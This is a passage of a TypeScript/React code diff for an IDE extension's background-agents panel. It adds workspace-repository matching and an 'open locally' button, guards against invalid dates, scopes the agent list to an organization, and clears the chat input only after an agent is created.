workspaceDir: dir,
workspaceName,
});
}
}
}
setWorkspaces(workspaceInfos);
}
} catch (err) {
console.error("Failed to fetch workspace repos:", err);
}
}
void fetchWorkspaceRepos();
}, [ideMessenger]);
useEffect(() => {
async function fetchAgents() {
@ -78,6 +123,44 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) {
return () => clearInterval(interval);
}, [session, ideMessenger, currentOrg]);
// Helper function to check if an agent's repo matches any workspace repo
const isAgentInCurrentWorkspace = (agent: Agent): boolean => {
// Get all possible agent repo URLs (both repoUrl and metadata.github_repo)
const agentUrls = [agent.repoUrl, agent.metadata?.github_repo]
.filter((url): url is string => Boolean(url))
.map(normalizeRepoUrl)
.filter((url) => url !== "");
// Check if any of the agent URLs match any workspace URL
return workspaces.some((workspace) =>
agentUrls.some((agentUrl) => agentUrl === workspace.repoUrl),
);
};
// Helper function to get the agent's repository name (for display in tooltips)
const getAgentRepoName = (agent: Agent): string | null => {
// Try to extract repo name from the agent's repository URL
// Handles URLs like: https://github.com/org/repo or git@github.com:org/repo.git
const repoUrl = agent.metadata?.github_repo || agent.repoUrl;
if (!repoUrl) return null;
try {
// Remove .git suffix if present
const cleanUrl = repoUrl.replace(/\.git$/, "");
// Extract the last path segment (repo name)
const parts = cleanUrl.split("/");
const repoName = parts[parts.length - 1];
return repoName || null;
} catch {
return null;
}
};
const handleOpenLocally = (agent: Agent, e: React.MouseEvent) => {
e.stopPropagation(); // Prevent opening the agent detail page
ideMessenger.post("openAgentLocally", { agentSessionId: agent.id });
};
if (error) {
return (
<div className="text-error px-2 py-4 text-sm">
@ -108,48 +191,71 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) {
Background Tasks
</div>
<div className="flex flex-col gap-1 px-2">
{agents.map((agent) => (
<div
key={agent.id}
className="border-command-border bg-input cursor-pointer rounded-md border p-3 shadow-md transition-colors hover:brightness-110"
onClick={() => {
// Open agent detail in browser
ideMessenger.post("controlPlane/openUrl", {
path: `agents/${agent.id}`,
});
}}
>
<div className="flex items-start justify-between">
<div className="min-w-0 flex-1">
<div className="truncate text-sm font-medium">
{agent.name || "Unnamed Agent"}
{agents.map((agent) => {
const isInWorkspace = isAgentInCurrentWorkspace(agent);
const canOpenLocally = isInWorkspace;
const agentRepoName = getAgentRepoName(agent);
return (
<div
key={agent.id}
className="border-command-border bg-input cursor-pointer rounded-md border p-3 shadow-md transition-colors hover:brightness-110"
onClick={() => {
// Open agent detail in browser
ideMessenger.post("controlPlane/openUrl", {
path: `agents/${agent.id}`,
});
}}
>
<div className="flex items-start justify-between">
<div className="min-w-0 flex-1">
<div className="truncate text-sm font-medium">
{agent.name || "Unnamed Agent"}
</div>
<div className="text-description mt-0.5 truncate text-xs">
{agent.metadata?.github_repo || agent.repoUrl}
</div>
</div>
<div className="text-description mt-0.5 truncate text-xs">
{agent.metadata?.github_repo || agent.repoUrl}
<div className="ml-2 flex items-center gap-2">
<AgentStatusBadge status={agent.status} />
<Button
onClick={(e) =>
canOpenLocally && handleOpenLocally(agent, e)
}
disabled={!canOpenLocally}
variant="icon"
size="lg"
title={
canOpenLocally
? "Open this agent workflow locally"
: agentRepoName
? `This agent is for a different repository (${agentRepoName}). Open that workspace to take over this workflow.`
: "This agent is for a different repository. Open the correct workspace to take over this workflow."
}
>
<PlayIcon className="h-3 w-3" />
</Button>
</div>
</div>
<div className="ml-2">
<AgentStatusBadge status={agent.status} />
<div className="text-description-muted mt-1 text-xs">
{formatRelativeTime(agent.createdAt)}
</div>
</div>
<div className="text-description-muted mt-1 text-xs">
{formatRelativeTime(agent.createdAt)}
</div>
</div>
))}
);
})}
{totalCount > agents.length && (
<div className="mt-2">
<button
<Button
onClick={() => {
ideMessenger.post("controlPlane/openUrl", {
path: "agents",
orgSlug: currentOrg?.slug,
});
}}
className="text-link w-full cursor-pointer border-none bg-transparent p-0 text-center text-sm font-medium no-underline hover:underline"
variant="ghost"
className="text-link my-0 w-full py-0 text-center text-sm font-medium hover:underline"
>
See all {totalCount} tasks →
</button>
</Button>
</div>
)}
</div>
@ -180,8 +286,15 @@ function AgentStatusBadge({ status }: { status: string }) {
function formatRelativeTime(dateString: string): string {
try {
const date = new Date(dateString);
const timestamp = date.getTime();
// Guard against invalid dates (NaN)
if (isNaN(timestamp)) {
return dateString;
}
const now = new Date();
const diffMs = now.getTime() - date.getTime();
const diffMs = now.getTime() - timestamp;
const diffMins = Math.floor(diffMs / 60000);
const diffHours = Math.floor(diffMs / 3600000);
const diffDays = Math.floor(diffMs / 86400000);

View file

@ -55,7 +55,11 @@ export function BackgroundModeView({
setCheckingGitHub(true);
// Try to list agents - if this fails with GitHub token error,
// we know GitHub isn't connected
const result = await ideMessenger.request("listBackgroundAgents", {});
const organizationId =
currentOrg?.id !== "personal" ? currentOrg?.id : undefined;
const result = await ideMessenger.request("listBackgroundAgents", {
organizationId,
});
// Check for error response
if ("error" in result) {
@ -84,7 +88,7 @@ export function BackgroundModeView({
}
void checkGitHubAuth();
}, [session, ideMessenger]);
}, [session, ideMessenger, currentOrg]);
if (!session) {
return (

View file

@ -14,8 +14,10 @@ import {
} from "../redux/slices/profilesSlice";
import {
addContextItemsAtIndex,
newSession,
setHasReasoningEnabled,
setIsSessionMetadataLoading,
setMode,
} from "../redux/slices/sessionSlice";
import { setTTSActive } from "../redux/slices/uiSlice";
@ -215,6 +217,11 @@ function ParallelListeners() {
void dispatch(cancelStream());
});
useWebviewListener("loadAgentSession", async (data) => {
dispatch(newSession(data.session));
dispatch(setMode("agent"));
});
useWebviewListener("setTTSActive", async (status) => {
dispatch(setTTSActive(status));
});

View file

@ -187,11 +187,6 @@ export function Chat() {
setIsCreatingAgent(true);
// Clear input immediately for better UX
if (editorToClearOnSend) {
editorToClearOnSend.commands.clearContent();
}
// Create agent and track loading state
void (async () => {
try {
@ -217,6 +212,12 @@ export function Chat() {
selectedCode,
organizationId,
});
// Clear input only after successful API call
if (editorToClearOnSend) {
editorToClearOnSend.commands.clearContent();
}
setIsCreatingAgent(false);
} catch (error) {
console.error("Failed to create background agent:", error);